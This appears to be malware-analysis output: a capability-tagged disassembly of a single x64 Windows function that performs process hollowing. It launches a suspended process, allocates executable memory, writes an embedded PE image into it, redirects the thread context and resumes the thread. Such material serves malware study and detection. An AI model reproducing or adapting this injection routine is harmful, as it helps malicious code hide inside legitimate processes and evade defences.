Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xf0], rax
movsxd rbx, dword [0x1400050bc]
lea rsi, [0x140005080]
mov ecx, 0x4d0
add rbx, rsi
call fcn.1400012d0
mov r8d, 0x104
lea rdx, [rbp - 0x20]
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [rbx], 0x4550
jne 0x140001265
xorps xmm1, xmm1
lea rcx, [rbp - 0x20]
xor eax, eax
xor r13d, r13d
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
mov qword [rbp - 0x30], rax
xor r9d, r9d
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor edx, edx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rbp - 0x80], xmm1
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001265
mov dword [rdi + 0x30], 0x10000b
mov rdx, rdi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14000123e
mov rdx, qword [rdi + 0x88]
lea r9d, [r13 + 4]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x68]
mov qword [rsp + 0x230], r12
add rdx, 8
mov qword [rsp + 0x238], r14
mov qword [rsp + 0x240], r15
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [rbx + 0x30]
lea r12, [rbx + 0x30]
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbx + 0x54]
mov r8, rsi
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov r15, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14d, r13d
cmp r13w, word [rbx + 6]
jae 0x1400011dc
mov esi, r13d
lea r12, [0x140005080]
nop dword [rax]
movsxd rax, dword [0x1400050bc]
mov rcx, qword [rsp + 0x50]
add rax, rsi
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + r12 + 0x10c]
mov edx, dword [rax + r12 + 0x104]
add r8, r12
mov r9d, dword [rax + r12 + 0x108]
add rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc r14d
add rsi, 0x28
cmp r14d, eax
jl 0x140001190
lea r12, [rbx + 0x30]
mov rdx, qword [rdi + 0x88]
mov r9d, 4
mov rcx, qword [rsp + 0x50]
add rdx, 8
mov r8, r12
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rbx + 0x28]
mov rdx, rdi
add rax, r15
mov qword [rdi + 0x88], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r15, qword [rsp + 0x240]
mov r14, qword [rsp + 0x238]
mov r12, qword [rsp + 0x230]
mov edx, 0x4d0
mov rcx, rdi
call fcn.14000130c
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14000126a
mov eax, 0xffffffff
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.1400012b0
add rsp, 0x200
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret